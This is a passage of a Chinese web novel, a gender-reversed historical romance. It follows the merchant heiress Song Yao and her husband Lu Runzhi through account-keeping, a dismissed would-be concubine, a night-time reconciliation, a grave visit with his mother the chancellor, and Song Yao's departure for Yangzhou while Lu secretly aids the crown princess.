宋瑶心满意足地起床。 闹了一上午,下午宋瑶居家办公,攒了很久的账本没看,于是叫管家把账本搬到了很久没去的书房。 宋瑶对陆润之道:“你在书房陪我。” 陆润之想了想,朝她摊手。 宋瑶疑惑。 陆润之:“报酬。” 宋瑶看着他,握住他的手,在他手背亲了一下,含笑看着他,“够吗?” 40、第四十章 第四十章 宋瑶在书房看账本,陆润之就拿了她书架上的一本游记,坐在旁边,腿上盖了毯子,这本游记他之前便已经看过,现在只不过是又翻了一遍。 病中精力不足,上午玩纸牌游戏消耗了一半精力,下午可以休息一下。 以前他总是将自己逼得很紧,现在跟宋瑶在一起,总觉得心情轻松很多,就连这次生病,都比之前恢复得要快。 宋瑶难得安静,也只有在工作的时候了,她看账本的速度很快,几乎是一目十行,偶尔提笔标注,也是速速略过。 她大概做什么事都可以做好,只是看她愿不愿意做,她的想法总是与众不同。 陆润之的视线渐渐从书本上转移,落到宋瑶身上,她全神贯注,进入状态的时候察觉不到别人的视线,也不知道叫他来陪她做什么。 外面寒冷凛冽,京城的冬天又干又冷,与南方不同。 前些日子,陆润之收到司马怀瑾的来信,信中说江南水患重新征税之事已经彻查,从上到下揪出很多贪官污吏,抄了不少银两,天子大怒,处置了一批人,并且大力嘉奖皇太女,此外她已经向陛下禀明赋税重的问题,请求皇上减免赋税,最终她写了一番感谢的话,客套地关怀了一下他的身体。 陆润之还尚未与她回信,他未曾在信中提到如今赋税重的问题,多半是司马怀瑾在民间听闻,她既已因江南水患之事获得陛下赞赏,就不该在这个节骨眼上向陛下提起赋税之事,陛下生性多疑,且年事已高,多少有些忌讳皇太女。 皇太女勇猛有余,而智慧不足,若不是当今陛下子嗣福薄,也轮不到她来坐太女这个位置。 陆润之觉得司马怀瑾难堪大任,甚至有大逆不道的想法,若是叫宋瑶来做此事,能比太女做得好十倍。 他有时候觉得宋瑶很有政治天赋,但她似乎极为不喜官场。 也不知为什么。 一个时辰后,宋瑶觉得眼睛有些疼,便放下账本,抬头就看到自家夫郎眉宇间布着淡淡的忧愁,她仔细一想,便知道他在烦恼什么。 有些事她不说,不代表她不知情,能让他烦恼的也就是皇太女的事情了。 她知道夫郎暗中与皇太女有所往来,他不告诉她,她就当做不知情,也不希望从他口中得知此时,因为她还没想好如何解决这件事,她做不出任何承诺。 隐约记得原著中,皇太女利用完陆丞相,登基后便给陆丞相安了个罪名,让陆丞相客死他乡。 朝中的事情,宋瑶不清楚,不想插手,也没有立场插手。 陆润之有鸿鹄之志,这是支撑他的精神内核,宋瑶不能剥夺他的理想,但是他所做之事,风险极大,虽然有皇太女庇护,但是皇太女是个昏庸无能之辈,定不能废除男子不得为官制度,且伴君如伴虎,他所谋之路,与她的闲散富贵生活背道而驰。 宋瑶一直懒得去思索这个现实的问题,但是逃避并不能使问题消失。 若是真的到了那一天,她也不知道如何抉择。 他有反派光环,她可没有啊。 宋瑶心里叹了一口气,面上不显,走过去,抽走他手中的书本。 陆润之回神,看向她。 宋瑶笑道:“在想什么呢,这么出神。” 她是不同的,或许可以跟她说一说。 陆润之:“你的账本看完了吗?” 宋瑶在他旁边坐下,给自己倒了杯茶,“没有,休息一下。” 陆润之问道:“待会儿可不可以教我怎么看账本?” 以前在家中,后院无人,根本不需要他打理,母亲也未曾教过他此事,后来到宋府,也无人对他提要求,可是他总归后面是要打理后院的。 宋瑶对他没有要求,他不能对自己没有要求。 宋瑶有些惊讶,“你想学?” 陆润之点点头,“总归要学的。” “你不用管这些,爹爹都不怎么管,有专人负责府里的开销。”宋瑶道。 陆润之却道:“父亲总是会这些的,我不能不会。” 宋瑶委婉劝道:“你若是不喜欢,不用勉强自己。” 听到她如是说,陆润之不由得抬起眼,有些不解,“为什么?” 宋瑶:“什么?” “你为什么觉得我在勉强自己?”陆润之直视宋瑶的眼睛,“这是我应该做的事情,你从未对我提任何要求,我也想知道为什么?” 宋瑶懵了一瞬,条件反射般的,心中警铃大作。 他这话的逻辑就是我是你的夫郎,你却从未对我提过任何要求,有些事我不做你也没有异议,你是不是没有把我当你的夫郎。 阿弥陀佛,真冤枉啊。 宋瑶笑了笑道:“我只是觉得没有必要,家中有人打理,我也有人照顾,如果我能收到你做的香囊或者衣服,固然很开心,只是我更希望你能够开心地做自己喜欢的事情,读书写字画画,不必费心去做其他的,若是你想学,我自然会教你,但愿你不会用到。” 陆润之清冽的目光顿时软了下来,指尖摩挲着杯沿,唇边挂了一丝笑意,“那你教我。” 宋瑶:“自然可以,你等我看完。” 教他不过是一件顺手的事。 自家夫郎的聪慧,宋瑶早已知道,看账本这种事情,顺手指点一下就可以了,只是可千万别对她说这种话了。 陆润之学的很认真,一点就透。 教完后,宋瑶问:“算盘会用吗?” 陆润之点头。 为了避免他胡思乱想,宋瑶给了他一把算盘,然后将几本账本递给他,“那你帮我核对一下这几本。” 陆润之顿住,迟迟不肯接。 宋瑶疑惑,方才还说对他没有要求,这会儿叫他干活,却不肯了,“怎么了?” 陆润之确认道:“这可是你生意上的账本。” 明白他的意思,宋瑶却勾起嘴角,“所以你看吗?” 对上她的明亮的视线,陆润之接过账本,“稍后给你。” 宋瑶点头。 在她看完所有账本后,陆润之把核对完的账本给她了,对她道:“没有问题。” “好的。”宋瑶接过账本,收起来,收工。 陆润之看着她的动作,“你不再核对一遍吗?” “不用。”宋瑶道。 陆润之觉得,如果他想谋夺她的家产,轻而易举。 40-50 第41章 往年陆润之生病时,总需要十天半月才能恢复,今年吃了三天药,大夫说已经痊愈了。 宋瑶请了位退休的老大夫常驻府中,专门为陆润之调理身体。 府中的下人都道:以前没看出来,原来少主君是个疼夫郎的,自打结婚后,都没有再出去花天酒地,整个人看起来与往日大不相同,逢人就笑,见面三分礼。 宋瑶模样生的好看,容貌昳丽,自打婚后,又养出了十足十的气质,穿着浅色衣裙,披着黑色大氅,路过低眉顺眼的小侍,飘起的衣摆擦过他们,惹得他们一阵脸红心跳。 如今宋瑶只有少主君,也不像以前那样混账,院中便有些小侍便起了心思,玩起了偶遇摔跤的戏码,可惜宋瑶格外不解风情,不着痕迹的避开,瞧着精心打扮的小侍伏在冰冷的地面上,淡淡一瞥,没有理会。 诸如此类的事情,发生了不止一次。 此事传到了青连耳中,青连感到十分气愤,也不看看自己什么身份,竟然敢跟他们家公子抢人。 这种事传到了青连耳中,必然也传到了陆润中那里。 陆润之听闻此事后,拿着笔的手一顿,神情未变,随即又专注于笔下的文章。 青连有些着急,“公子,你怎么不着急啊?” 陆润之的书法行云流水,“着急什么?” 青连:“那些不安分的小侍在您的眼皮子地下公然勾引宋瑶,也太不把您放在眼里了。” 陆润之抬眼,淡淡看了他一眼,“她不是躲开了吗?” 青连瞧着公子依旧是这幅风轻云淡的模样,不由得感到着急,“她这次是躲开了,定是那个小侍长得不好看,若再有下次呢?” 陆润之不甚在意的笑了笑,没把他的话放在心上,她在外诸多应酬,若是他什么都在意一番,恐怕都没有心思读书了。 只是当天吃晚饭的时候,陆润之不知怎么,注意到旁边小侍的穿着,确实比以往鲜艳不少,甚至脸上带着淡淡的妆,他又看了一眼宋瑶,她甚至都没有注意到他们。 陆润之放下筷子。 宋瑶立 刻注意到,问道:“怎么了,今晚的饭菜不合胃口吗?”最近厨房做的有一半是药膳,他可能还吃不太习惯。 陆润之摇摇头,“无事。” 宋瑶见他面色如常,可能真的只是不太饿,也没再继续问。 吃过饭后,今日天气不错,两人在月色下散了会儿步,宋瑶挑着说了今日在铺子里遇到的趣事,带着陆润之走了一圈,天冷,便回去了。 她发现,这人吃完饭就躲在房间里,不愿意走动,但是你带着他,他又会去。 宋瑶道:“你自己在家的时候,吃完午饭也要散散步。” 他应了,也不知道听没听进去。 回去后,时候尚早,宋瑶盘腿坐在暖榻上,嗑着瓜子,研究陆润之未下完的棋局,看了半天,捡起黑子白子,自己跟自己对弈起来。 陆润之换了身衣服,坐在她对面,拾起白子,与她对弈。 本就是残局,两人很快结束掉这一局,陆润之逆转了白子的局势,反败为胜。 宋瑶撂下黑子,输给他不丢脸,毕竟人家在大师的指点下,从小学棋。 “你赢了。”宋瑶道。 陆润之赢了她也没什么沾沾自喜的,“你进步很大。” 宋瑶当他在安慰自己。 这时,青连进来了,后面跟着五六个小侍,都是她们院子里的,面孔很熟,但是宋瑶不记得他们的名字,她一向喜欢事事亲为,不喜欢别人服侍,自然也不记得他们。 此时青连将他们领进来,定是陆润之授意。 青连带着人进来,行了个礼。 宋瑶挥了挥手,笑道:“把人都叫来,这是怎么了?” 陆润之:“你看一下他们。” 宋瑶疑惑,什么叫看一下他们。 陆润之示意。 被带过来的小侍听到他的话,顿时吓得一瑟缩,肯定是他们有些人的心思被少主君发现了,所以少主君要惩治他们,听说一般遇到这种情况,不是被卖去做小倌,就是要脱层皮。 宋瑶狐疑地盯着陆润之,见他面色如常,不明白他葫芦里卖的什么药,视线落到排排站低着头的小侍们身上,一一扫过。 “抬起头。”陆润之淡淡道,“让少主君好好看看。” 小侍们闻言一颤,畏畏缩缩地抬起头,目光闪躲。 宋瑶灵光一闪,明白了他这是何意,于是悠哉悠哉地歪在榻上,磕着瓜子,像是对这些小侍感兴趣的样子,手指点了点,“左边第二个,头抬起来。” 陆润之看向她。 被点到名字的小侍既激动又娇羞地抬起头,眼睛水汪汪的,充满期待。 宋瑶随意问道:“你叫什么名字?” 小侍激动得结结巴巴,“奴名、名唤阳夏,” “阳夏。”宋瑶细细品了这两个字,夸道:“名字不错。” 阳夏面色娇羞,“谢、谢谢少主君夸赞!” “哒——” 杯子碰撞桌子发出清脆的声音。 宋瑶勾起唇角,似笑非笑地目光看向他。 陆润之迎上她的视线,目光平静,这才解释此举的意义,“今日我瞧着他们都是特地收拾过的,看着叫人舒心,但是吃饭时,妻君似乎没有注意到,所以特地叫他们过来,想叫妻君好好看一下。” “哦~”宋瑶拉长了语调,兴致勃勃地问道:“然后呢?” 见她没有反驳,陆润之收回视线,重新看向那个叫做阳夏的男子,“若是妻君有中意的,可由我做主,给妻君纳来做夫侍。”顿了一下,“阳夏是挺不错的。” 阳夏听到这话,激动得不能自已,立刻跪在地上磕头谢恩,“多谢少主君,多谢少主君,我一定尽心服侍少主和少主君!”少主君果然是大户人家的公子,心胸宽广,有主君风范,是他们之前思想狭隘了。 平日想让他叫妻君,他反而不叫,如今一口一个妻君,说的确实戳人心窝子的话。 啧。 宋瑶的视线落在跪在地上的阳夏身上,目光淡淡的,叫人摸不准她的想法。 陆润之放在袖子里面的手悄悄握紧,他有些呼吸不上来,觉得房间的空气都稀薄了起来。 “阳夏。”宋瑶叫了他的名字。 阳夏抬起脸,脸蛋擦了胭脂,红红的,“奴在。” 宋瑶:“我记得前天,在路上摔跤的也是你吧。” 阳夏没想到少主还记得他,娇羞点头,“是奴不小心,让少主见笑了。” 宋瑶低笑了两声,身体前倾,瞧着他眼中的欲望和势在必得,笑意却不及眼底,“是挺可笑的。” 阳夏嘴角的笑容就那么僵住。 宋瑶挥了挥手,对青连道:“给他结三个月的月钱,叫他离开宋府。” 青连高兴道:“是,少主!” 阳夏立刻慌了,跪着上前,准备抱住宋瑶的腿,却被宋瑶呵斥,“离我远点!” 宋瑶在府中从未如此疾言厉色,眼神如冰霜,硬是凭气势震住了阳夏,给旁边的女侍使了个眼色,女侍立刻将阳夏带走。 在阳夏的求饶声中,宋瑶面不改色,眼底没了往日的笑意,目光一一扫过那些心思不纯的小侍,缓缓道:“我这人呢,眼高于顶,明白吗?” 她这话说得很委婉,却又很犀利,叫人一听就听出来她想说什么—— 她眼高于顶,别自取其辱。 可是天下有几个可以比得上少主君风采卓绝呢,他们可再没见过比少主君更好看的人。 有了方才那一出,另外四个小侍人人自危,扑通一声跪下,齐声道:“奴不敢!” 他们万万没想到最后是少主处罚了他们。 宋瑶淡淡道:“下去吧。” 青连带着几个人退出了房间,一时间只剩下两人。 陆润之轻轻吐出了一口气,方才短短几息,像是从鬼门关走了一遭,直到她发配了阳夏。 宋瑶呷了口冷茶,看向他,目光是从未有过的冷淡,“很晚了,睡觉吧。” 说着,她便朝隔间走去,准备更衣。 她从来没有这么冷淡地看着他,陆润之看着她的背影,觉得她有些生气,却不明白为什么,目光茫然。 他下意识想叫住宋瑶,却不知道叫住她后,应该说什么,张了张嘴,最后没有发出声。 现在时辰并不晚,若往日,她肯定要闹他一番。 直到睡觉前,宋瑶都没怎么理他。 她的不理人不是不会应你,你叫她做什么,她也会做,比如口渴了,也会帮忙倒水,只是没有往日那么热络。 陆润之很不习惯她如此,自打成婚以来,她还是第一次这么对他,那双看向他总是充满笑意的眸子,第一次这么冷清。 夜晚,陆润之躺在床上,睡不着,身旁的人呼吸绵长,已经进入梦乡,他不敢翻来覆去,怕吵到她,毕竟她明日还要早起。 他在思考,这种情况,应该怎么应对,他没有什么经验,也不知道怎么讨妻主关心。 既然他做错了,明日跟她道个歉吧。 宋瑶在装睡,估摸着二更天了,身旁的人还没睡,装不下去了。 她本来想冷他到第二天早上,却没想到他会因此彻夜不眠。 于是睁开眼,叹了口气,坐起来。 陆润之察觉到她的动静,目光看过来,带着疑问。 月光扑洒了一地,照亮房间。 宋瑶温省问道:“怎么还不睡?” 她的语气又恢复到平日的温和,那双桃花眼是熟悉的温度。 “我——” 陆润之一开口,怔住了,他本来觉得没什么,她一问,铺天盖地的委屈席卷而来,瞬间涌上眼眶。 不知为什么,会忽然觉得委屈。 借着月光,宋瑶看到了一滴眼泪顺着夫郎的眼角滴下来,她立刻慌了神。 第42章 连陆润之自己也愣了,他自己都不知道为什么会觉得委屈,甚至还不自觉掉了眼泪,他从 父亲离世后,就再没哭过。 这种感觉就像小时候受了委屈,独自生气,爹爹来问,他就会忍不住想哭。 似乎觉得掉眼泪很丢脸,陆润之背过身,不想叫她看到。 宋瑶伸手想去碰他,手又顿在空中,收了回去。 静默无言。 这种情绪来得快,去得也快。 过了一会儿,陆润之转过身来,垂着眼眸,不看宋瑶,却是摆明了态度,愿意跟她交谈。 他垂着眼眸,眼睫微湿,宋瑶第一次真切地感受到什么叫做美人带泪,甚至有些后悔晚上的时候故意冷了她,他分明也没错,遇到这种事情,她也得表个态,给他撑个腰,不过她就是心里有些气他说那样的话。 没想到叫人受了这么多委屈。 她夫郎有什么错呢,从小没了爹爹,被母亲苛养长大,本来应该嫁给太女,未来父仪天下,却嫁给了她一个商人之女,现在也不过是十七岁的少年。 她跟他置什么气。 宋瑶现在是一点气都没有了,她没有提方才他哭的事情,只当作没看到,语气如常,温声道:“怎么还没睡?” 陆润之坐起来,与她面对面,墨发披在肩头,就算坐在床上,他的脊背自然挺直,“睡不着。” 宋瑶拉住他的手。 陆润之看着她的眼睛,缓缓道:“我在想,晚上我是不是做错了。” 宋瑶心中一疼,她本意是想叫他向她说个软话,撒撒娇,却没想到他会认真反思自己是不是哪里做错了,恐怕以前在陆丞相面前也是这么处理事情的。 “没有做错。”宋瑶道。 陆润之接着道:“这些天我也听到了一些风声,他们有心,我也想知道你有没有意,这种事情总不好叫你开口。” 除了成婚那天,到现在两人虽然躺在一张床上,但被子却是分开的,甚至之前她还想分房睡。她看着他的眼神总是亮晶晶的,他可以感受到她极为喜爱他的容貌。 宋瑶使了些力,捏了他的户口,“净说些扎我心口的话。” 他这人啊,有事不直说,非要拐弯抹角地表达,晚上他分明是想借她打发了那些人。若是在跟他计较,这日子恐怕不过了。 陆润之抿了抿唇。 “我有没有意,你还不知道吗。”宋瑶反问道,“非得给我整这么一出,若我真的看上了哪个,你真的会做主给我纳了吗?” 陆润之反过来捏了一下宋瑶的手,避开她的视线。 宋瑶:“说话。” 陆润之抬眼,看着她满目真诚,她是真的在问他,面对她,是可以说实话的,他道:“不纳。” 宋瑶噗嗤笑了,接着敛了笑意,“你应该说:你敢,硬气一点。” 陆润之也笑了。 宋瑶扑过去,将人扑到在床上,压在身下,蹭了蹭他的脖颈,香香的。 有些痒,陆润之笑着推她,“你怎么像小狗一样。” 宋瑶侧躺在他身边,抓住一把他的头发,“你敢说你妻君是小狗。” 陆润之偏头看她,眼中盛满了笑意,“我可没说。” 宋瑶不安分的手顺着他的胳膊,瞧瞧摸到了他的腰肢,掐了一把,想要探进去,却被他抓住。 陆润之:“宋瑶!” 宋瑶笑,“你晚上那会儿可不是这么叫我的。” 陆润之把她的手从自己腰上拿上来,抓住她不安分的手,不叫她乱摸。 宋瑶:“你再叫我一声妻君。” 陆润之不叫。 宋瑶整个人又贴了上去,手脚并用,像八爪鱼一样抱住了他,狠狠蹭了蹭,再他耳边催促,“快点!” 陆润之躲不开,被她蹭得很痒,不得不妥协,叫了一声,“妻君,别闹了。” 他声线带着少年的清冽,还有几分亲昵,宋瑶心都软了,她欺身而上,弯着眼睛,深深看进他的眼里,“既然睡不着,那我们做点别的事情吧。” 陆润之微微睁大眼睛,他还没反应过来宋瑶已经将自己的被子扔到了一边,挤进了他的被窝,将人揽入怀中。 终于能钻夫郎被窝了。 以前靠在他身上,他都会浑身僵硬,现在两人的相处很自然了。 宋瑶的手又开始不安分起来。 陆润之紧张起来,很突然,他还没准备好,声音都小了,“明日是父亲的忌日。” 宋瑶没打算碰他,只是逗逗他,闻言,揉了揉他的头发,将人抱住,“逗你呢,很晚了,快睡吧。” 陆润之轻轻吐出一口气,松了口气,又有些莫名的失望。 两人闹了一会儿,已经很晚了。 心里的石头落地,陆润之在宋瑶怀里找了个舒服的位置,安心地睡了过去。 终于把人哄好了。 宋瑶给他掖了掖被子,抱着人睡了,心里打定主意,以后可不敢轻易跟他闹。 第43章 第二日是陆润之父亲的忌日,是他早早与宋瑶说好的。 早上,宋瑶比陆润之起得还早,找了一本书,在陆润之穿衣洗漱的时候,坐在旁边看,原因无他,怕陆丞相考她。 陆丞相那一副做派简直就像书房里严肃古板的老先生,宋瑶自诩天不怕地不怕,却害怕陆丞相眼睛一瞪,逮着她追问,直到她回答不上来,有种小学生就教育的感觉。 宋瑶虽然脸皮厚,但是还要点面子,不能一开始就在陆丞相的考核下败下阵来,是以临时抱佛脚,她从来没有读书那么认真过。 这些文言文晦涩难懂,看得她头都大了。 青连看到宋瑶眉头紧皱的模样,不由得偷笑,对陆润之说:“公子,第一次看到宋瑶这么认真呢。” 陆润之瞥了一眼专心致志苦读的宋瑶,笑了笑。 吃完早餐,距离出发还有一会儿。 宋瑶拉住陆润之匆匆到榻上,把书摊到他面前,直呼:“救命!” 陆润之忍不住笑,“你不是一向不害怕母亲的吗?” 宋瑶道:“我不害怕,但是我要面子的啊!你快救救我!我看不懂!” 天知道,这些文言文,她读起来多费劲,上次还能在陆丞相目前,再不努力,可就要被陆丞相指着鼻子骂了。 陆润之看向她拿的书,问道:“哪里不懂?” 宋瑶指着那一页,“这里,这里,还有这里,全都不懂!” 陆润之翻了两页,不急不慢道:“其实不用全部都懂。” 宋瑶的眼睛瞬间都亮了,不早说,还可以画重点! 陆润之徐徐道:“你若对母亲说你读了这本书,她定会问你 第二卷和第四卷的内容,你着重看下这两卷。” 他这么说,肯定知道陆丞相喜欢问什么问题。 宋瑶眼睛亮晶晶的,“你给我讲讲。” 此刻,陆润之在宋瑶眼中,相当于学神的存在,不光知道重点在哪里,还知道老师会问什么问题,答案都告诉她了! 宝藏夫郎! 宋瑶虽不爱读书,但脑子好使,加上有陆润之这个外挂的,很快就将他讲的内容记住。 陆润之夸赞道:“你很聪明。” 宋瑶小得意,“谢谢,我知道。” 陆润之弯起嘴角,忽然有些羡慕她,自信、大胆、明媚,好似什么都不害怕。 他今日一身素衣,未佩戴任何发饰,宋瑶却觉得他更加好看了,生动诠释了什么叫做衣越素,人越好看。 今日虽然是他父亲的忌日,他好像并没有很伤心。 宋瑶觉得可以问问,“你爹爹是个什么样的人?” 提到父亲,陆润之眼中闪过一抹暖色,他道:“爹爹他很温柔,很好看,手很温暖,身体不太好,具体的记不太清了,我四岁的时候,他就去世了。” 他写的文章用词字字讲究,却在形容自己爹爹的时候用最朴素的语言。 宋瑶问:“跟你一样?” 陆润之摇摇头,“爹爹性格比我温柔很多,总是 将父亲哄得很开心。” 他的语气是陈述性,宋瑶总觉得他不想变成他父亲那样的人,“那你希望变成你父亲那样的人吗?” 陆润之没回答,只是说:“爹爹跟我说,希望我好好长大,不要成为任何人的附庸。” 这就是他从来不叫妻主的原因吗? “你有好好长大成人。”宋瑶道,“丞相大人呢?” 她没问具体的,但是他知道指的是什么,“母亲大人她很奇怪,一方面将我当女子养,一方面要求我恪守男德,我经常做的不好,不能令母亲大人满意,但总的来说,她是一个好母亲,爹爹离世后,她从未再取,没叫我受委屈。” 父亲早逝,母亲大女子主义,希望要一个女儿,在这种情况下,要求他行为上、思想上如女子,却要恪守男德,这对于一个人来说是残酷的,尤其是他这种多思多虑,早慧过人的。 宋瑶道:“你现在可以做自己,不是任何人的附庸,包括我。” 陆润之本来以为她接下来会问关于皇太女的事情,但是她没有问,仿佛她心中有一道线,知道什么时候停下。 但是他是希望她问的,这样他就会告诉她,关于皇太女的一切。 不知道她什么时候会问- 马车停在墓地前,宋瑶跟陆润之等了一会儿,才看到陆丞相的马车驶来。 再次见到陆丞相,她瘦了很多,眼皮下青黑,精神头看起来倒是还好,可能近些日子公务繁忙,她今日也穿了一身素,与他们打了个招呼,先是上下扫了一眼陆润之,最后视线落到宋瑶身上。 宋瑶顿时虎躯一震,挺直了腰背,“母亲大人。” 陆丞相高冷地点了点头,提着祭品往坟墓前去。 宋瑶和陆润之跟在后面。 许是爱人忌日,宋瑶觉得陆丞相的心情不好。 宋瑶随着陆丞相和陆润之一起,烧了纸。 陆丞相看着坟墓,平静道:“今年一切安好,你且放心,子澈嫁人了,如你所愿。” 陆润之:“爹爹,孩儿一切安好,爹爹不必挂心,妻君她对我很好。” 最后轮到了宋瑶,她无法在人父亲坟墓前保证什么,顿了一下,道:“子澈在我身边,您放心,我会好好照顾他的。”她能承诺的,只有这个。 纸钱烧完后,宋瑶和陆润之一起磕了三个头。 陆丞相把宋瑶带走,“让子澈跟他父亲待一会儿。” 宋瑶了然。 又到了和岳母大人独处的时间。 宋瑶像只警惕的猫。 陆丞相淡淡地问:“最近在做什么?” 宋瑶:来了来了! “与母亲学一些生意上的事情,空闲时在读书。”宋瑶低眉顺眼地回答。 陆丞相:“读了什么书?” 宋瑶按照答案一一回答。 陆丞相点点头,倒也没有为难她,显然心思没有放在她这里,背着双头,眺望远方。 宋瑶问道:“您看起来很疲惫,最近遇到什么事了吗?” “做官哪有不烦恼的。”陆丞相摆摆手,懒得提的样子,许是知道跟宋瑶提了也没用,只道:“你好好待子澈,他不同于寻常男子。” 似乎是随口一说,宋瑶觉得她藏着话。 第44章 看着陆丞相眉眼间淡淡的愁绪,宋瑶收回视线,眺望远山,顿了几秒,才缓缓道:“子澈他的确不同于寻常男子。” 同是女子,陆丞相自然知道彼此指的是什么方面,叹了一口气道:“都是被我教的,你多体谅一下他。” 陆丞相的语气有些沉,不似上次见到她那般意气,终于有了几分母亲的模样。 宋瑶没有接她的话茬,只道:“若子澈是女子,定不输您当年的风采。” 陆丞相的眼神黯淡了些,宋瑶的话直戳她的内心,若子澈是个男子,如今的局势定是会好很多,她沉默了,似乎是想到了什么。 宋瑶接着道:“他一直很想帮助您。” 陆丞相的思绪被宋瑶牵着走,她想说什么,却忽然顿住,转身看着宋瑶,笑道:“你胆子不小,想套我的话。” 宋瑶老实道:“我可不敢。” 陆丞相背着手,往前走,“陪我走走吧。” 宋瑶拱手,“是。” 郊区的小路静谧无人。 宋瑶跟在陆丞相身旁,姿态放松,她看似害怕陆丞相,松弛感却是拉满。 陆丞相扫了宋瑶一眼,从上次见面,她就发现宋瑶心性聪明,心思却不在读书,反而更喜欢当个逍遥自在的生意人,且游刃有余,倒是和初次见面时大不相同。 既心思不在官场,陆丞相面对她时,总觉得轻松不少。 宋瑶身上仿佛有一种神奇的能力,叫人跟她相处是自然而然地放下戒备。 陆丞相叹了一口气,缓缓道:“子澈他父亲去世的早,我那时一心扑在官场上,却又对他要求极高,导致他从小到大没几个可以说话的人,慢慢就养成了什么都憋在心里的性子。” 宋瑶静静地听着,显然这个时候陆丞相需要是一个良好的合格者。 陆丞相:“子澈这个孩子,打小就要强,性子又沉稳,若他是个女子,做得肯定会比我好。” 宋瑶道了一句,“他是个男子也极好。”至少长得极好。 陆丞相睨了她一眼,傲娇地哼了一声,“算你识相。” 宋瑶:“……” 丞相大人,你傲娇啊。 走着走着,陆丞相忽然警告她道:“你若不好好待子澈,我定饶不了你。” 宋瑶看进她的眼神里,欲言又止,最后还是没说。 倒是陆丞相疾言厉色,“吞吞吐吐像什么话,说!” 宋瑶诚恳道:“丞相大人,我觉得您像是在托孤。” 陆丞相:“……” 她倒是什么都敢说。 陆丞相生性耿直,最讨厌别人跟她玩心眼子,宋瑶如此这般坦诚,倒是没有惹她不快。 宋瑶接着道:“有什么我可以帮助您的吗?” 不得不说,陆丞相还是有点微微感动,但是傲娇嘴硬,嗤笑一声,“你有什么可以帮助我的。” 宋瑶耿直道:“我有钱。” 为官清廉的陆丞相:“……” 一个栗子赏给了宋瑶。 陆丞相气急败坏,“你在说什么,好好收着你那两个破钱!” 宋瑶:“好的。” 经过她这么插科打诨,倒是驱散了陆丞相心头的阴霾,令她心情开阔不少。 知道宋瑶也是在担心她,陆丞相心软了几分,对她道:“我没事,只是皇上年事已高,朝中有些不太平罢了。” 她轻描淡写,恐怕形式远比她描写更加风诡云谲。 宋瑶的本意就没打算深入了解,只道:“您保重身体。” 陆丞相哈哈笑道:“再活过十几年没问题,你日后有何打算?” 宋瑶觉得此时时机正好,与陆丞相表明心志,叫她不要再逼着她读书了,于是笑道:“我只想当一个富贵闲人,闲云野鹤。”求您可别再逼着我读书了。 陆丞相叹了一口气,感慨道:“也好,富贵闲人,闲云野鹤。” 宋瑶隐隐提醒,“等您辞官了也可以。” 陆丞相摇了摇头,嘴角带笑,没有说话。过了一会儿,她又道:“你若是生意上遇到为难你的人,也可用我的名头压一压她们,有些人做实过分。” 听她这么说,宋瑶的心沉了一下,恐怕事情比她想象得还要严重一些。 两人又闲聊了一会儿,就看到陆润之往她们这边走。 陆丞相还有公务在身,与两人匆匆告了别,便匆匆离去。 宋瑶目送陆丞相离去,大概了解她已经卷入皇位斗争,无法脱身,不得善终 。 陆润之显然也察觉到了。 回去的马车上,气氛有些沉重。 陆润之的眉心布了淡淡的愁绪,看得出来他有些担心。 宋瑶想安慰他,却无从说起,只握住了他的手。 陆润之朝她淡淡一笑。 宋瑶将人送到家门口,生意上的事情攒了几天,她得过去处理,于是便对陆润之道:“我今日晚些回,不用等我。” 陆润之点点头。 接着,她又说了一句无关痛痒的话,“你也不要太过担心了。” 陆润之笑了笑,“放心吧。” 宋瑶上了马车,离去,心中总有一股隐隐的不安感,这种不安感并没有持续多久,很快就被淹没。 这样过了几日,宋瑶被宋琼派去扬州出差,那边的布庄出了点问题,需要人去打点,家大业大就是这样子,出差总是会来的,此番宋琼也是想锻炼宋瑶,让她逐渐接手家业。 此次去扬州,路途遥远,少则一个月。 妻夫二人自打成亲,从未分开这么久。 宋瑶倒是对这种事情习以为常,以前她也是满世界的跑,像在这个世界天天待在家里才是少见,陆润之应该也不会在意。 将此事与他说了之后,他的反应果真如她所料,波澜不惊,只叮嘱道:“无事,你早去早回。”便帮着她一起收拾行囊。 两人的分别没有依依不舍,只是陆润之起了个大早,将宋瑶送上马车。 门口,宋瑶对陆润之道:“你好好照顾自己啊,回来后,我可不希望看到你又瘦了。”她好不容易养出来的。 “我知道了。”陆润之笑道,趁她握住他的手时候,往她腕上套了个什么东西。 宋瑶看过去,手腕上出现了一串珠子,带着一股淡淡的檀香。 陆润之道:“以前去寺庙求的,戴着心安。” 宋瑶摸了一下,点了点头,笑道:“行,我会一直戴着的,走啦。” 陆润之目送她离开,松了一口气,她去江南也是一个契机,希望事情可以在她回来之前解决,母亲那边已经被逼得水深火热。 等宋瑶一离开,陆润之与宋琼妻夫请辞,带着青连回了娘家。 青连不明所以,原以为公子担心丞相大人,会回去陪陪她,没想到公子瞒着宋家,根本没有带他回丞相府,而是戴着帷帽,住进客栈。 陆润之递给他两套女装,淡淡地吩咐道:“这几日,你乔装打扮一下,随我去办一些事情,不要叫人发现。” 青连知道公子又是要帮太女做事了,他有心想劝,却知道不会改变公子的想法,只默默接下衣服,希望在宋瑶回来之前,能够将事情办完。 马车上。 宋瑶在颠簸中迷迷糊糊睡了一觉,醒来后有些无聊。百无聊赖中,她摸了摸自己腕部的珠子,她不喜欢佩戴任何东西,总觉得有束缚感,取下来仔细一看,这才发现,手串上其中有颗珠子与众不同,个头偏小,颜色偏红,还带点白色,这不是一颗珠子,分明是一颗红豆,若不细看,根本不会发现。 玲珑骰子安红豆,入骨相思知不知。 宋瑶笑了笑,将手串重新戴到腕上。 这人的小心思啊。 从来都不说。 等她回去,都已经快要过年了吧,再把陆丞相那个老古董叫来,一起过个年,商量一下以后的事情。 她们也算一家人,总不能不管。 第45章 冬季运河结冰,水路不通,宋瑶不得不乘马车前往扬州,一路颠簸,走走停停,花了一个月才抵达扬州。 扬州作为大运河的连接点,交通运输便利,是当今最繁华的城市之一。 宋瑶刚一抵达扬州,就感受到了这里的繁华,长街沸雪,商户行人,络绎不绝,一派繁华热闹的景象。 宋家家大业大,在哪里都有房产,出差比较方便。 这里的下人早就听说少主君要来视察工作,一早就把住宅收拾得干干净净,管家亲自到驿站迎接宋瑶。 管家名唤孙琴,年轻时受过宋家家主宋琼的恩惠,后定居扬州,帮着宋琼打理生意,以前年度都是宋琼前来,今年是派了宋瑶过来。 孙琴知道,这是家主在培养继承人。 孙琴甫一见到宋瑶,倒是惊了一下,她上次见到宋瑶,已经是十年前了,宋家妻夫恩爱,只得了这么一个宝贝女儿,自然得捧在手心里长大,只是太娇惯了些。 